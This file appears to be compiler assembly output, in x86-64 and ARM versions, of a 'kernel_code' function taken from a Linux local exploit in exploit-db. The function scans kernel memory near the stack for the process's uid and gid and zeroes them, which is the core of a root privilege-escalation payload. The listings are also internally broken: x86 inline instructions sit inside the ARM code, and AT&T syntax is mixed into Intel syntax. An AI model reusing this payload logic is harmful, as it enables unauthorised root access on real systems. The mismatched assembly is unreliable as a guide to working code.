	.file	"extr_145.c_kernel_code.c"
	.intel_syntax noprefix
	.text
	.p2align 4
	.globl	kernel_code
	.type	kernel_code, @function
kernel_code:
.LFB0:
	.cfi_startproc
	endbr64
	sub	rsp, 24
	.cfi_def_cfa_offset 32
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 8[rsp], rax
	xor	eax, eax
	test	rdi, rdi
	je	.L3
#APP
# 29 "data/exploitdb/exploits/linux/local/extr_145.c_kernel_code.c" 1
	movl	%esp, DWORD PTR 4[rsp]
# 0 "" 2
#NO_APP
	movsx	rax, DWORD PTR PAGE_SIZE[rip]
	mov	edx, DWORD PTR 4[rsp]
	shr	rax, 2
	and	edx, -8192
	mov	DWORD PTR 4[rsp], edx
	movsx	rdx, edx
	cmp	rax, 1
	je	.L3
	xor	esi, esi
	xor	ecx, ecx
	jmp	.L7
	.p2align 4,,10
	.p2align 3
.L10:
	mov	edi, esi
	mov	esi, eax
.L5:
	movsx	rax, edi
	mov	r9d, DWORD PTR gid[rip]
	lea	rax, [rdx+rax*4]
	cmp	DWORD PTR [rax], r9d
	je	.L17
	movsx	rax, DWORD PTR PAGE_SIZE[rip]
	shr	rax, 2
	sub	rax, 1
	cmp	rax, rcx
	jbe	.L3
.L7:
	lea	rdi, 0[0+rcx*4]
	lea	eax, 1[rsi]
	mov	r8d, DWORD PTR uid[rip]
	movsx	rcx, eax
	cmp	DWORD PTR [rdx+rdi], r8d
	jne	.L10
	cmp	r8d, DWORD PTR 4[rdx+rdi]
	jne	.L10
	lea	rax, 0[0+rcx*4]
	lea	edi, 4[rsi]
	add	esi, 5
	mov	DWORD PTR [rdx+rcx*4], 0
	mov	DWORD PTR 4[rdx+rax], 0
	movsx	rcx, esi
	mov	DWORD PTR 8[rdx+rax], 0
	jmp	.L5
	.p2align 4,,10
	.p2align 3
.L17:
	add	edi, 2
	mov	DWORD PTR [rax], 0
	movsx	rdi, edi
	mov	DWORD PTR [rdx+rcx*4], 0
	mov	DWORD PTR [rdx+rdi*4], 0
	mov	DWORD PTR 4[rdx+rdi*4], 0
.L3:
	add	DWORD PTR dummy[rip], 1
	mov	rax, QWORD PTR 8[rsp]
	xor	rax, QWORD PTR fs:40
	jne	.L18
	add	rsp, 24
	.cfi_remember_state
	.cfi_def_cfa_offset 8
	ret
.L18:
	.cfi_restore_state
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	kernel_code, .-kernel_code
	.comm	uid,4,4
	.comm	gid,4,4
	.comm	dummy,4,4
	.comm	PAGE_SIZE,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_145.c_kernel_code.c"
	.text
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC0:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	kernel_code
	.syntax unified
	.arm
	.fpu softvfp
	.type	kernel_code, %function
kernel_code:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, lr}
	ldr	r3, .L19
	sub	sp, sp, #8
	cmp	r0, #0
	ldr	r3, [r3]
	str	r3, [sp, #4]
	mov	r3,#0
	beq	.L3
	.syntax divided
@ 29 "data/exploitdb/exploits/linux/local/extr_145.c_kernel_code.c" 1
	movl	%esp, [sp]
@ 0 "" 2
	.arm
	.syntax unified
	ldr	ip, .L19+4
	ldr	r1, [sp]
	ldr	r3, [ip]
	bic	r1, r1, #8128
	lsr	r3, r3, #2
	bic	r1, r1, #63
	cmp	r3, #1
	str	r1, [sp]
	beq	.L3
	mov	r0, #0
	ldr	r4, .L19+8
	mov	r2, r0
	mov	r5, r0
	ldr	lr, .L19+12
	b	.L7
.L10:
	mov	r3, r0
.L5:
	ldr	r6, [r1, r3, lsl #2]
	ldr	r2, [lr]
	add	r0, r3, #1
	cmp	r6, r2
	mov	r2, r0
	add	r6, r1, r3, lsl #2
	beq	.L17
	ldr	r3, [ip]
	lsr	r3, r3, #2
	sub	r3, r3, #1
	cmp	r3, r0
	bls	.L3
.L7:
	ldr	r3, [r1, r2, lsl #2]
	ldr	r6, [r4]
	lsl	r2, r2, #2
	cmp	r3, r6
	bne	.L10
	add	r2, r2, #4
	ldr	r6, [r1, r2]
	cmp	r3, r6
	bne	.L10
	add	r3, r0, #2
	str	r5, [r1, r2]
	add	r2, r1, r3, lsl #2
	str	r5, [r1, r3, lsl #2]
	add	r3, r0, #4
	str	r5, [r2, #4]
	b	.L5
.L17:
	mov	r2, #0
	add	r3, r3, #2
	add	ip, r1, r3, lsl #2
	str	r2, [r6]
	str	r2, [r1, r0, lsl #2]
	str	r2, [r1, r3, lsl #2]
	str	r2, [ip, #4]
.L3:
	ldr	r2, .L19+16
	ldr	r3, [r2]
	add	r3, r3, #1
	str	r3, [r2]
	ldr	r3, .L19
	ldr	r2, [r3]
	ldr	r3, [sp, #4]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L18
	add	sp, sp, #8
	@ sp needed
	pop	{r4, r5, r6, pc}
.L18:
	bl	__stack_chk_fail
.L20:
	.align	2
.L19:
	.word	.LC0
	.word	PAGE_SIZE
	.word	uid
	.word	gid
	.word	dummy
	.size	kernel_code, .-kernel_code
	.comm	uid,4,4
	.comm	gid,4,4
	.comm	dummy,4,4
	.comm	PAGE_SIZE,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
